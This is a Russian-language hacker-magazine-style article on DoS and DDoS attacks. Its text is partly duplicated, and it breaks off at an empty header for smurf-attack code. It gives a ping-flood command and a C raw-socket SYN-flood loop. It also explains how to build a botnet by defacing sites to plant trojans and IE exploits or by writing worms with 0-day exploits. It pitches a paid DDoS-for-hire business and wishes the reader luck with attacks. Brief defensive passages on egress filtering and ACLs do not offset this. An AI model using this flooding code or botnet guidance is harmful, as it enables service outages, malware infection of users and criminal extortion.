Откажи в обслуживании! / Атаки на отказ в обслуживании DoS и DDoS
Автор: _1nf3ct0r_ (dr.pascal@mail.ru)
Здравстувуйте, в этой статье я намерен рассказать о атаках на отказ в обслуживании. На сегодняшний день очень опасными атаками хакеров являются DoS и DDoS. А главная цель атаки - остановить передачу сетевого траффика и обмен данными с web-сайтами, а также блокировать работу хостов, от имени которых будет действовать хакер. То есть, остановить работу сайта на некоторое время.
Давайте разбремся с принципом атак грубой силы - DoS/DDoS
Начнем с DoS-атаки, младшего брата DDoS'a
[[DoS-атаки]]
Итак, что такое DoS?
DoS (Denial of Service) - нет, это не операционная система
, а "атака на отказ в обслуживании". Главная цель атаки - остановить передачу сетевого траффика и
обмен данными с web-сайтами, а также блокировать работу хостов, от имени которых будет действовать хакер.
Хочу сказать сразу - организовав атаку DoS - ты не получишь root-привелегий ))).. Принцип рыботы: сервер получает пакет. Систем его обрабатывает. Приходит следующий - и становится "в очередь". Так и занимаются ресурсы системы и он попросту перегружается, при этом он либо отключается от интернета, либо зависает. При проведения DoS-атаки, пакеты отсылаются с ОДНОГО (это важно!) компьютера.
Таблица видов DoS-атак:
/----------------------------------------------------------------------------------------------------------------------------\
| DoS-атаки |
\----------------------------------------------------------------------------------------------------------------------------/
/ | \
/ | \
/ | \
/----------------------------------\ /-------------------------------\ /--------------------------------------------\
| Флудинг - отсылка | | DoS-атаки | | Программный DoS - |
| большого | |на уровне ядра | |использование уязвимостей |
| количества | | почти тоже, что и | |найденных в программном |
|сетевых пакетов | | ПО-DoS | |мном обеспечении |
\---------------------------------/ \-------------------------------/ \--------------------------------------------/
Сначало рассмотрим флудинг.
[Флудинг]
В нее входят такие податаки как: Ping of Death,
ICMP-flooding, SYN-flooding, UDP-flooding и все другие, благодаря которым можно приостановить работу ресурса, заваливая его большим количеством сетевых пакетов. Пакеты необязательно могут быть "кривыми", но и "прямыми" )) - даже от большого количества GET-запросов для HTTP-сервера можно завалить сайт.
Также успех атакаи зависит от мощности канала. Если канал слабый - то можно его повалить простым ICMP-флудингом, если сильный - то поверь, без DDoS'a не обойтись...
TCP-флудинг
TCP flood - это вид атаки, при которой компьютеру, который нужно атаковать, отсылаюся TCP-пакеты, что приводит к связыванию системных ресурсов.
ICMP-флудинг
ICMP-flooding (Ping-flooding) - осуществляется при помощи стандартной утилиты Ping (есть в Windows и UNIX - системах =). Вот как выглядит атака на практике: ping -f -s 3072 lamer.target.ru. - Этот запрс будет беспрерывно отправлять компьютеру по 3Kb (флаг -s), причем с максимальной скоростью (флаг -f). Чем больше пактов было утеряно - тем эффективнее была атака =)
Например, я решил вывести из строя моего провайдера (это было и в правду) начал DoS'ить его, заваливая ICMP-пакетами. Так вот, пошел налить кофе, пришел, посмотрел - 75% пакетов потеряно - атака была успешной! Э! Эээ! Куда спешишь microsoft валить ))????
Реализация:
Для реализации атаки мы юзаем прогу ping, которая входит в стандартный набор как windows так и nix-систем.
SYN-флудинг
SYN-flooding - это такой вид DoS-атаки (рульный =), которое позволет блокировать работу любой TCP-службы, если хакер сможет отправить SYN-пакеты со скоростью,
достаточной для поддержки очереди в заполненном состоянии. Результатом SYN-наводнения может оказаться ситуация, при которой юзеры не могут
подключиться к web-серверу или даже замедляется доступ по локальной сети.
Заголовок IP пакета, который можно использовать в атаке типа SYN Flood
UDP-флудинг
UDP-flooding - это усиленный вид DoS-атаки, при котором с помощью отправки паета на echo-порт одного из ПК, например, lamer.a.target.ru, с подложным
IP-адресом отправителя, указывающим на chargen-порт на другом ПК, напрмер lamer.b.target.ru. Это позволит организовать замкнутый цикл обмена
UDP-пакетами, отправляющимися с максимально возможной скоростью, в зависимостим от пропускной способности между двумя хостами
SMURF-флудинг
Эта атака закидывает компьютер ICMP широковещательными запросами от имени жертвы, и благодаря этому относится к наиболее опаснейшой атаке DoS. Запрос направляется либо на сетевой адрес, либо по адресу широковещательной рассылки, но в любом случае устройство должно выполнить преобразование уровня 3 (IР) к уровню 2 (сетевой), как этого требует RFС 1812 "Requirements foг IР Version 4 Routers" (Требования к маршрутизаторам протокола IР вер- сии 4).
В стандартной сети класса С (24-разрядное выделение адресов) сетевым адресом будет .0, а адресом широковещательной рассылки – .255. Прямая широковещательная рассылка обычно служит для диагностики, позволяя выявить работающие системы без запроса по рing каждого адреса из диапазона.
Атака smurf пользуется особенностями прямой широковещательной рассылки и требует как минимум трех участников: атакующий, усиливающая сеть и жертва. Атакующий посылает мистифицированный пакет IСМР ЕСНО по адресу широковещательной рассылки усиливающей сети. Адрес источника этого пакета заменяется адресом жертвы, чтобы представить дело так, будто именно целевая система инициировала запрос. После этого происходит следующее - поскольку пакет ЕСНО послан по широковещательному адресу, все системы усиливающей сети возвращают жертве свои ответы (если только конфигурация не определяет другого поведения). Послав один пакет IСМР в сеть из 100 систем, атакующий инициирует усиление атаки DoS в сто раз! Коэффициент усиления зависит от состава сети, поэтому атакующий ищет большую сеть, способную полностью подавить работу системы-жертвы.
В данной статье можно рассмотреть следующий пример: предположим, что атакующий послал 14 Кбайт непрерывного трафика IСМР на широковещательный адрес усиливающей сети, содержащей 100 систем. Сеть атакующего подключена к Интернету двухканальным соединением ISDN, усиливающая сеть – линией ТЗ со скоростью обмена 45 Мбит/с, а сеть-жертва – линией Т1 (1.544 Мбит/с). Подсчет показывает, что атакующий может сгенерировать трафик 14 Мбит/с в целевой сети, у которой практически не останется шансов продолжить нормальную работу, поскольку будет полностью занята вся полоса пропускания линии Т1. Одним из вариантов атаки является fraggle (осколочная граната). Эта атака базируется на smurf, но использует пакеты UDР вместо ICМР.
Атакующий посылает обманные пакеты UDР по адресу широковещательной рассылки усиливающей сети, обычно на порт 7 (эхо). Каждая система сети, в которой разрешен ответ на эхо-пакеты, возвратит пакеты системе-жертве, в результате чего будет сгенерирован большой объем трафика, Если в системах усиливающей сети запрещены эхо-ответы, системы будут генерировать сообщения IСМР о недостижимости, и полоса пропускания все равно будет захватываться ненужным трафиком. Специалисты по сетевой безопасности рекомендуют предпринять следующие контрмеры: чтобы предотвратить эффект усиления позволит запрет операций прямой широковещательной рассылки на всех граничных маршрутизаторах. Дополнительно можно установить в операционной системе режим "тихого" отброса широковещательных эхо-пакетов IСМР.
Рассомтрим код, созданный для реализации smurf-флудинга:
[DoS-атаки на уровне ядра]
Ping of Death
Атаку ping of death можно отнести и к флудингу, но я выделил ее (и не тоько я!) в связи стем, что она использует технику, связанную с атакой на уровне ядра.
Ping of Death - вид DoS-атаки (правда, уже староватый), при котором некоторые программы позволяют отправлять пакеты размером больше 65536-байт - максимальный размер пакета, который предусмотрен TCP/IP (хехе TCP/VIP, шутка 8)))). Эти пакеты не могут передаваться по Internet в целом виде, поэтому перед передачей выполняется их фрагментирование. Когда атакуемый хост получает фрагменты пакетов, он восстаноавливает пакет недопустимого размера. Основывается на ICMP-flooding, однако усиливает атаку за счет того, что ping-запросы пересылаются по адресу широковещательной рассылки. Используемый в пакетах запроса адрес - это адрес атакуемого сервера. Получившие такие "посылки смерти" системы отвечают на них и забивают жертву. Это очень серьезный вид атаки, который, правда, требует длительной подготовки. Кстати, переводится "Ping of Death" как "Звон смерти" )
Реализация:
[Программный DoS]
Как я уже сказал, для DoS-атаки можно использовать и уязвимости в программах. Обычно эти уязвимости - уязвимости типа переполнения буфера. Достаточно всего лишь отослать код, который и выполнит DoS-атаку на сервере Я не буду говорить о многочисленных DoS-дырах в Apache и т.д. А для твоего потрясения приведу уязвимость. Да простят меня www.securitylab.ru, за заимствовании у них этого материлала про баг в winamp'e. Да, найдена DoS и в winAMP'e... Теперь он DoS'AMP ))
===================== ВЗЯТО С www.securitylab.ru=================
Программа: Winamp 5.07
Опасность: Средняя
Наличие эксплоита: Да
Описание:
Уязвимость обнаружена в Winamp. Удаленный атакующий может аварийно завершить работу приложения.
- Уязвимость существует из-за некорректной обработки MP4 тегов в файлах '.mp4' и '.m4a'. Удаленный атакующий может создать специально сформированный файл, изменив содержание MP4 тега и вызвать отказ в обслуживании.
- Удаленный атакующий может также использовать плейлист, который указывает на злонамеренный файл.
- Удаленный атакующий может создать большой лог файл (приблизительно в 1 MB), содержащий произвольные данные с расширением .nsv' или '.nsa'. При открытии такого файла уязвимым приложением будут потреблены все доступные процессорные ресурсы системы.
========http://www.securitylab.ru/50735.html - вот там можно прочитать )) ==========
Если ты захотел изучить DoS от и до, то появляйся на багтраках. Там чуть ли не ежедневно публикуются уязвимости, приводящие к DoS'у. Заходи на тотже seuritylab.ru ))
Я рассказал не о всех DoS-атаках как ты понял. А именно о других видах флудинга
[Защита от DoS-атак]
Грамотной защитой от DoS-атак является:
Хорошо настроенный файрвол (он же брандмауэр)
Постоянно обновляемый софт
И вроде бы все ))
[Вывод]
Итак, мы рассмотрели DoS-атаку, и её реализации. Конечно, можно взломать сервер и выполнить команду rm -rf, удалив все файлы, но сначало же надо полусить root-привелегии. А используя DoS-атаку, можно и не прикосаться к взлому. Обычно для атаки используется мощный канал, дабы повысить уровень "дестроя" от DoS-атак. Также, используй технику IP-спуфинга, чтобы скрыть свой IP-адресс. К сожалению (или счастью???) такие атаки успешно блокируются файрволами, т.к атака проводится с одного компьютера! Но вскре на смену DoS-атаке пришел DDoS.
Я совсем немного поведал тебе о DoS-атаках, надеюсь, что для DDoS ты уже созрел. Банзай!
[[DDoS-атаки]]
Теперь мы перешли к нашей главной цели статьи - DDoS-атаки. Например, кому-то понадобилось, чтобы сайт example.com не работал час/день/и т.д/. Так вот, заказчик стучится тебе в ICQ и говорит о том, что надо остановить работу example.com на 5 часов. Для этого исуществует DDoS. Но если такчка слабая, то можно DoS'ом обойтись...
Что такое DDoS? DDoS (Distributed Denial of Service) - "Распределенная атака в обслуживании", осуществляемая при помощи отпраки пакетов на сервер жертвы с тысячей ПК с использованием техники флудинга. Главная цель атаки - остановить передачу сетевого траффика и обмен данными с web-сайтами, а также блокировать
работу хостов, от имени которых будет действовать хакер.
И чем она отличается от DoS-атаки??? Так вот, в этом то все и отличие:
Мы рассомтрели DoS-атаку, при которой с ОДНОГО компьютера отправлялись XXX-пакеты и сервер удачно валился. А в DDoS-атаке отсылаются не с одного, а с ТЫСЯЧЕЙ и БОЛЕЕ компьтеров XXX-пакеты.
Как это ТЫСЯЧА и БОЛЕЕ, что все хакеры сговорились )) ???? Нет, друг мой, все эти тысяча и более компьтеров должны быть заражены трояном/червем, имеющих поддержку DDoS-атаки. Для реализации DDoS-атаки общая пропускная способность каналов, с которых производится атака, должна быть больше, чем канал атакуемого компьютера.
Мы рассмотрели DoS-атаку, при помощи которой мы могли повалить сервер. А теперь представь себе, как десятитысяная армия ботов (зараженных машин) просто отсылает, допустим, ICMP-пакеты, используя простую технику ICMP-флудинга. Да от сервера останутся тоько "ножки, да рожки" =)))))))))! Захватывает дух, правда?
А как управлять такой армией? Способов очень много. Самый популярный и, наверное, простой - IRC . Ты отдаешь команду и все компьютеры-зомби, которые в сети исполняют твою команду. Властелин ламеров (в основном), так сказать ))
Технологии взлома сети различны. При достаточном количестве машин, эффективной будет атака любого типа: можно направить ICMP запросы на широковещательный адрес (Smurf атаки), поддельные HTTP запросы, фрагментированные пакеты, или случайный трафик. Цель будет наверняка так сокрушена, что перестанет работать вообще, или как минимум качество ее работы очень сильно упадет. Атака может быть направлена на любое сетевое устройство: маршрутизаторы (эффективно блокирует всю сеть), серверы (Web, mail, DNS), или специфичные компьютеры (firewalls, IDS).
Наибольшая сложность при защите от DDoS состоит в поддельных IP адресах атакующих машин. Эта проблема может быть решена с использованием методики, называемой «исходящая фильтрация» (Egress filtering). Исходящая фильтрация анализирует пакеты, направленные в Интернет на граничном маршрутизаторе, стоящем перед магистральным маршрутизатором. Эти маршрутизаторы должны знать адреса всех устройств, стоящих за ним, поэтому все, что отправлено с других адресов – подделка. Поддельные пакеты должны отбрасываться до их попадания в Интернет или на магистральный маршрутизатор. Если сетевые администраторы установят такую фильтрацию по умолчанию, поддельные пакеты станут почти невозможными, что многократно сократит процесс идентификации в исследовании DDoS. К сожалению, в большинстве сетей эти фильтры отключены, и поддельные пакеты беспрепятственно проходят. IPv6, будущий IP стандарт, также имеет возможности защиты от этой фундаментальной сетевой проблемы.
Распределенные атаки на отказ в обслуживании очень эффективны, и их трудно остановить. Окончательное решение этой проблемы требует от мирового сетевого сообщества неусыпно следовать строгим стандартам безопасности. В настоящий момент лучшей техникой защиты является готовность к такой атаке. Очень важно иметь план реагирования на DDoS инцидент. А использование исходящей фильтрации является хорошим стандартом безопасности, гарантирующим, что машина, находящаяся под вашим контролем, не участвует в таких атаках. Осведомленное компьютерное сообщество может сделать DDoS сегодня пережитком прошлого.
DDoS не использует уязвимости в программах, а лишь использует технику флудинга. Вот собственно и все. Технологии флудинга мы уже с тобой разобрали в разделе с DoS-атаками.
[DDoS на практике]
Как организовать ботнет
Организовать DDoS-атаку на самом деле просто. Самая большая проблема - организация ботнета.
Как организовать ботнет:
1. Купить за огромную сумму (в зависимости от количества ботов)
2. Взять в аренду.
3. Заразить ушастых юзеров.
4. Угнать чужой ботнет
Как заразить огромное количество ушастых юзеров:
Существует много методов распространения этой инфекции. Примеры:
1. Взлом хостинга:
Получить хоть какие-нибудь привелении на запись
Сделать масс-дефейсинг, благодаря которым в код главной стараницы внедряется наш код, использующий троян + эксплойт (допустим, для IE)
При заходе на главную страницу с браузера IE троян внедряется в систему, ожидай комманд DDoS'ера из IRC-канала...
2. Взлом сайта с хорошей посещаемостью.
Вставка на главную страницу вредоносного кода ))
3. Написание червя, с использование 0-day эксплойта, приводящего к root'у. Это отдельная тема.
Но перед тем как организовать ботнет, надо выбрать, чем заражать.
Вирусы
Самый наилучший спопосб, наверное, это написание червя. Писать червя надо очень грамотно. И это довольно таки непросто. Но вспомнив ужаснейшую атаку при помощи легендарного червя MyDoom - атакующего 22 августа 2003 года сайт компании SCO. Подробнее в самом конце есть вырезка из статьи Forb'a (журнал Хакер). Если написать успешного червя, да и приложить к его распространению 0-day эксплойт (приватный, так сказать), то с таким же успехом можно повалить и microsoft.com. Главное - огранизовать огромнейший ботнет.
Конечно, червя можно и купить, а также заказать у VX-maker'ов, но это будет стоить немало...
Трояны
Надеюсь, объяснять, что такое троян и чем он отличается от червя не надо. Начнем.
Хочу тебя разочаровать, что в паблике ты ничего не найдешь. Все эти трояны давно занесены в "Красную книгу" Касперского и других антивирусов. Так, что есть два выходу:
1. Купить DDoS-троян.
Не спеши к VX-мэйкерам и хакерам раскупать у них трояны. Ты должен сначало спросить про возможности, на чем написан, какой вес (размер трояна - это очень важно, ведь троян должен быть мелким и юрким), палится ли он файрволом, какие команды умеет, где прописывается, видно ли его в процессах и т.д. Если троян не палится файрволом и антивирусом, да еще имеет маленький размер - то это отличный троян. Обязательно покупай троян вместе с исходняками, чтобы его можно было подредактировать и самому.
2. Написание DDoS-трояна.
Если ты уже давно кодишь и можешь писать приложения для интерета )))), то можешь начинать. Не ищи в паблике статью "Как написать троян", дабы накодить программу техникой Cut & Paste )), там ты можешь найти только небольшой ответ, а дальше уж сам по себе. Если возникают вопросы по написанию, то попроси о помощи (только без вопросов типа "А как написать троян", а какие нибудь более разумные, вроде "Как сделать перехват API" и тут тебе дадут ссылку
. Главное - не грузи помогающего, не то он добавит тебя в игнор-лист) Обязательно протестируй своего троянца после написания.
0-day эксплойты
Лучше всего при распространении использовать 0-day эксплойт - приватный эксплойт, который нельзя нигде достать в публичных источниках. Если выбирать для трояна - то это, безусловно, эксплойт для Internet Explorer. Для червя это серьезная уязвимость, приводящая к root'у, как, например, баг в RPC-DCOM (его вроде как использовал MyDoom).
Есть два выбора:
1. Искать баг самому.
2. Купить его у каких-нибудь хакерюг.
Ну что. Дрпустим, ты собрал ботнет из 20 000 ботов. Ты занешь все его команды и как управлять, ведь написал его ты (узнал все при покупке). Теперь ты заходишь в IRC. Отдаешь команду и все.
Что еще прочитать
Как ты понял, здесь все просто. Главные проблемы мы с тобой рассмотрели. Очень хорошую статью (там все разжевано) по DDoS-атаке на практике ты можешь прочесть в журнале "ХАКЕР" выпуск #70, октябрь 2004 года, называется она "DDoS в картинках". Зайди на самом xakep.ru > раздел журналы > 2004 > Октябрь. Там есть PDF'ка (много весит, это целый журнал) и HTML-версия.
[Защита]
Юные исследователи
Если вы заметили огромное увелечение трффика, но надо начать исследование перехваченных пакетов. Это очень важно для следующего пункта
Надежда умерает последней - Фильтрация
Исследование перехваченных пакетов иногда дает хорошую возможность снизить ущерб от DDoS-атаки, дабы с помощтю исследования можно создать списки контроля доступа маршрутизатора или правила файрвола - ACL.
Если огромный трафик исходит от определенного провайдера или маршрутизатора (магистрального), то можно заблокировать весь трафик от этого источника, узнав его, это позволит пройти части легитимного трафика
Наибольшая сложность при защите от DDoS состоит в поддельных IP адресах атакующих машин. Эта проблема может быть решена с использованием методики, называемой «исходящая фильтрация» (Egress filtering). Исходящая фильтрация анализирует пакеты, направленные в Интернет на граничном маршрутизаторе, стоящем перед магистральным маршрутизатором. Эти маршрутизаторы должны знать адреса всех устройств, стоящих за ним, поэтому все, что отправлено с других адресов – подделка. Поддельные пакеты должны отбрасываться до их попадания в Интернет или на магистральный маршрутизатор. Если сетевые администраторы установят такую фильтрацию по умолчанию, поддельные пакеты станут почти невозможными, что многократно сократит процесс идентификации в исследовании DDoS. К сожалению, в большинстве сетей эти фильтры отключены, и поддельные пакеты беспрепятственно проходят. IPv6, будущий IP стандарт, также имеет возможности защиты от этой фундаментальной сетевой проблемы.
Оборудование
Этот пункт говорит о том, что нужна установка специального оборудования и увеличения пропускной способности во время атаки и ожидание ее прекращения.
Ваш провайдер
Есть еще надежда на провайдера. Если Ваш провайдер не деревенщина, то у него помогут быть специальные сенсоры, с помощью которых он иожет определить резкое возростание траффика в XXX-точке. Таким образом он обязан помочь Вам в этой проблеме )))
Заключение
DDoS-атака чаще всего прекращается из-за атакующего, которому уже /надоело/не надо флудить/ вашу систмему, а не из-зи грамотоного админа. Наж этим стоит задуматься )
[Вывод]
DDoS - это огромная ппроблема на сегодняшний день в мире информационной безопасности. Для этих атак нет серверов, которые бы не ушли в "даун". Единственный выход - готовность к атаке, которая и не особо помагает. Кстати, атаки могут производиться не только с помощью ботов, также можно произвести и со взломанных роутеров или инфецированных *nix-машин. Их удачно можно использовать для генерации XXX-пакетов... Все. Удачи тебе в DDoS'е!
[Самые мощные DoS/DDoS-атаки]
=====Примечание: "Самые мощные DDoS/DoS-атаки" Журнал "Хакер". URL: www.xakep.ru===========
Теперь ты знаешь, что собой представляет атака на отказ в обслуживании. Пришло время составить небольшой хит-парад DoS/DDoS-атак.
1) Пожалуй, самой нашумевшей атакой из разряда DoS стала атака на корневые DNS-сервера, произошедшая в ноябре 2002 года. Тогда распределенной атаке подверглись все 13 DNS-серверов, семь из которых вышли из строя. Только высокий уровень избыточности в структуре интернета позволил избежать задержек при обращении к ресурсам.
2) Атака на сайт SCO, совершенная при помощи вируса MyDoom и всех его подцепивших. 22 августа 2003 года сайт компании SCO перестал отвечать на запросы пользователей. Атака продолжалась несколько дней и прекратилась только 25 августа. Поскольку вирус MyDoom имел очень широкое распространение, то атака получилась мощнейшей. Вторая редакция вируса MyDoom.B, созданная для атаки на сайт Microsoft, не имела такого "успеха" у пользователей.
3) Серверы Osirusoft крупнейшего хранилища IP-адресов, замеченных в спаме, были отключены после большого количества распределенных атак на отказ в обслуживании. Данная служба занималась ведением динамического списка IP-адресов, замеченных в спаме. (Хехе! Бойтесь спамеров! Спамеры уже и флудеры )) - прим. 1nf3ct0r'a)
===================== ВЗЯТО ИЗ ЖУРНАЛА "ХАКЕР". www.xakep.ru =======================
.
[Заработок на DDoS-атаках]
DDoS-атаки - это очень прибыльное дело. Минимальная плата за DDoS-атаку в час - 40$-50$. И при том, что сервер не "крутой", который валить.
Представь. Стучатся в ICQ. Просят DDoS на час. Ты спокойно заходишь в IRC, отдаешь команду и пьешь пиво/кофе. Через час к тебе приходят деньги... Вот так вот.
На сегодняшний день в интернете немного (даже мало) конторок по организации DDoS'a, так, что тебе ничто не мешает организовать DDoS-бизнесс )).
[The End]
Ну вот я и рассказал тебе о DoS/DDoS атаках. Надеюсь тебе было интересно. Ну всё. Удачного флуда и защиты от него!
P.S: При написании статьи использовались материалы: материалы с SecurityLab.ru, материалы из журнала "Хакер" и также "СпецХакер"
(www.xakep.ru)
Автор: _1nf3ct0r_ (dr.pascal@mail.ru)
Здравстувуйте, в этой статье я намерен рассказать о атаках на отказ в обслуживании. На сегодняшний день очень опасными атаками хакеров являются DoS и DDoS. А главная цель атаки - остановить передачу сетевого траффика и обмен данными с web-сайтами, а также блокировать работу хостов, от имени которых будет действовать хакер. То есть, остановить работу сайта на некоторое время.
Давайте разбремся с принципом атак грубой силы - DoS/DDoS
Начнем с DoS-атаки, младшего брата DDoS'a
[[DoS-атаки]]
Итак, что такое DoS?
DoS (Denial of Service) - нет, это не операционная система
обмен данными с web-сайтами, а также блокировать работу хостов, от имени которых будет действовать хакер.
Хочу сказать сразу - организовав атаку DoS - ты не получишь root-привелегий ))).. Принцип рыботы: сервер получает пакет. Систем его обрабатывает. Приходит следующий - и становится "в очередь". Так и занимаются ресурсы системы и он попросту перегружается, при этом он либо отключается от интернета, либо зависает. При проведения DoS-атаки, пакеты отсылаются с ОДНОГО (это важно!) компьютера.
Таблица видов DoS-атак:
/----------------------------------------------------------------------------------------------------------------------------\
| DoS-атаки |
\----------------------------------------------------------------------------------------------------------------------------/
/ | \
/ | \
/ | \
/----------------------------------\ /-------------------------------\ /--------------------------------------------\
| Флудинг - отсылка | | DoS-атаки | | Программный DoS - |
| большого | |на уровне ядра | |использование уязвимостей |
| количества | | почти тоже, что и | |найденных в программном |
|сетевых пакетов | | ПО-DoS | |мном обеспечении |
\---------------------------------/ \-------------------------------/ \--------------------------------------------/
Сначало рассмотрим флудинг.
[Флудинг]
В нее входят такие податаки как: Ping of Death,
ICMP-flooding, SYN-flooding, UDP-flooding и все другие, благодаря которым можно приостановить работу ресурса, заваливая его большим количеством сетевых пакетов. Пакеты необязательно могут быть "кривыми", но и "прямыми" )) - даже от большого количества GET-запросов для HTTP-сервера можно завалить сайт.
Также успех атакаи зависит от мощности канала. Если канал слабый - то можно его повалить простым ICMP-флудингом, если сильный - то поверь, без DDoS'a не обойтись...
TCP-флудинг
TCP flood - это вид атаки, при которой компьютеру, который нужно атаковать, отсылаюся TCP-пакеты, что приводит к связыванию системных ресурсов.
ICMP-флудинг
ICMP-flooding (Ping-flooding) - осуществляется при помощи стандартной утилиты Ping (есть в Windows и UNIX - системах =). Вот как выглядит атака на практике: ping -f -s 3072 lamer.target.ru. - Этот запрс будет беспрерывно отправлять компьютеру по 3Kb (флаг -s), причем с максимальной скоростью (флаг -f). Чем больше пактов было утеряно - тем эффективнее была атака =)
Например, я решил вывести из строя моего провайдера (это было и в правду) начал DoS'ить его, заваливая ICMP-пакетами. Так вот, пошел налить кофе, пришел, посмотрел - 75% пакетов потеряно - атака была успешной! Э! Эээ! Куда спешишь microsoft валить ))????
Реализация:
Для реализации атаки мы юзаем прогу ping, которая входит в стандартный набор как windows так и nix-систем.
SYN-флудинг
SYN-flooding - это такой вид DoS-атаки (рульный =), которое позволет блокировать работу любой TCP-службы, если хакер сможет отправить SYN-пакеты со скоростью,
достаточной для поддержки очереди в заполненном состоянии. Результатом SYN-наводнения может оказаться ситуация, при которой юзеры не могут
подключиться к web-серверу или даже замедляется доступ по локальной сети.
Заголовок IP пакета, который можно использовать в атаке типа SYN Flood
Код:
/* -------------IP-3аголовок пакета--------------------------- /*
packet.ip.version=4; // Версия
packet.ip.ihl=5; // Длина заголовка
packet.ip.tos=0; // Тип сервиса
packet.ip.tot_len=htons(40); // Общая длина
packet.ip.id=getpid(); // Идентификатор
packet.ip.frag_off=0; // Смещение фрагмента
packet.ip.ttl=255; // Время жизни
packet.ip.protocol=IPPROTO_TCP; // Протокол
packet.ip.check=0; // Контрольная сумма
packet.ip.saddr=saddress; // Адрес источника
packet.ip.daddr=daddress; // Адрес назначения
/* ----который можно использовать для SYN-флудинга-----/*
/* ---КОД, ДЛЯ РЕАЛИЗАЦИИ SYN-ФЛУДИНГА. ---/*
// TPC/IP заголовок
struct send_tcp
{
struct iphdr ip;
struct tcphdr tcp;
} send_tcp;
// заголовок
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} pseudo_header;
int i;
int tcp_socket;
struct sockaddr_in sin;
int sinlen;
// формирование IP-пакета
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 0;
send_tcp.ip.tot_len = htons(40);
send_tcp.ip.id = getpid();
send_tcp.ip.frag_off = 0;
send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = IPPROTO_TCP;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = source_addr;
send_tcp.ip.daddr = dest_addr;
// формирование TCP-пакета
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = getpid();
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.res2 = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;
// установки SIN
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.source;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
// открываем сокет
tcp_socket = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW);
for(i = 0; i < numsyns; i++)
{
// Устанавливаем изменяемые поля
send_tcp.tcp.source++;
send_tcp.ip.id++;
send_tcp.tcp.seq++;
send_tcp.tcp.check = 0;
send_tcp.ip.check = 0;
// считаем контрольную сумму IP
send_tcp.ip.check = in_cksum((unsigned
short *)&send_tcp.ip, 20);
// Устанавливаем поля заголовка
pseudo_header.source_address =
send_tcp.ip.saddr;
pseudo_header.dest_address =
send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy((char *)&send_tcp.tcp, (char
*)&pseudo_header.tcp, 20);
send_tcp.tcp.check = in_cksum((unsigned
short *)&pseudo_header, 32);
sinlen = sizeof(sin);
// шлем пакет
sendto(tcp_socket, &send_tcp, 40, 0,
(struct sockaddr *)&sin, sinlen);
}
close(tcp_socket);
/* ---КОД, ДЛЯ РЕАЛИЗАЦИИ SYN-ФЛУДИНГА--- /*
UDP-флудинг
UDP-flooding - это усиленный вид DoS-атаки, при котором с помощью отправки паета на echo-порт одного из ПК, например, lamer.a.target.ru, с подложным
IP-адресом отправителя, указывающим на chargen-порт на другом ПК, напрмер lamer.b.target.ru. Это позволит организовать замкнутый цикл обмена
UDP-пакетами, отправляющимися с максимально возможной скоростью, в зависимостим от пропускной способности между двумя хостами
SMURF-флудинг
Эта атака закидывает компьютер ICMP широковещательными запросами от имени жертвы, и благодаря этому относится к наиболее опаснейшой атаке DoS. Запрос направляется либо на сетевой адрес, либо по адресу широковещательной рассылки, но в любом случае устройство должно выполнить преобразование уровня 3 (IР) к уровню 2 (сетевой), как этого требует RFС 1812 "Requirements foг IР Version 4 Routers" (Требования к маршрутизаторам протокола IР вер- сии 4).
В стандартной сети класса С (24-разрядное выделение адресов) сетевым адресом будет .0, а адресом широковещательной рассылки – .255. Прямая широковещательная рассылка обычно служит для диагностики, позволяя выявить работающие системы без запроса по рing каждого адреса из диапазона.
Атака smurf пользуется особенностями прямой широковещательной рассылки и требует как минимум трех участников: атакующий, усиливающая сеть и жертва. Атакующий посылает мистифицированный пакет IСМР ЕСНО по адресу широковещательной рассылки усиливающей сети. Адрес источника этого пакета заменяется адресом жертвы, чтобы представить дело так, будто именно целевая система инициировала запрос. После этого происходит следующее - поскольку пакет ЕСНО послан по широковещательному адресу, все системы усиливающей сети возвращают жертве свои ответы (если только конфигурация не определяет другого поведения). Послав один пакет IСМР в сеть из 100 систем, атакующий инициирует усиление атаки DoS в сто раз! Коэффициент усиления зависит от состава сети, поэтому атакующий ищет большую сеть, способную полностью подавить работу системы-жертвы.
В данной статье можно рассмотреть следующий пример: предположим, что атакующий послал 14 Кбайт непрерывного трафика IСМР на широковещательный адрес усиливающей сети, содержащей 100 систем. Сеть атакующего подключена к Интернету двухканальным соединением ISDN, усиливающая сеть – линией ТЗ со скоростью обмена 45 Мбит/с, а сеть-жертва – линией Т1 (1.544 Мбит/с). Подсчет показывает, что атакующий может сгенерировать трафик 14 Мбит/с в целевой сети, у которой практически не останется шансов продолжить нормальную работу, поскольку будет полностью занята вся полоса пропускания линии Т1. Одним из вариантов атаки является fraggle (осколочная граната). Эта атака базируется на smurf, но использует пакеты UDР вместо ICМР.
Атакующий посылает обманные пакеты UDР по адресу широковещательной рассылки усиливающей сети, обычно на порт 7 (эхо). Каждая система сети, в которой разрешен ответ на эхо-пакеты, возвратит пакеты системе-жертве, в результате чего будет сгенерирован большой объем трафика, Если в системах усиливающей сети запрещены эхо-ответы, системы будут генерировать сообщения IСМР о недостижимости, и полоса пропускания все равно будет захватываться ненужным трафиком. Специалисты по сетевой безопасности рекомендуют предпринять следующие контрмеры: чтобы предотвратить эффект усиления позволит запрет операций прямой широковещательной рассылки на всех граничных маршрутизаторах. Дополнительно можно установить в операционной системе режим "тихого" отброса широковещательных эхо-пакетов IСМР.
Рассомтрим код, созданный для реализации smurf-флудинга:
Код:
/* ---КОД, ДЛЯ РЕАЛИЗАЦИИ SMURF-АТАКИ--- /*
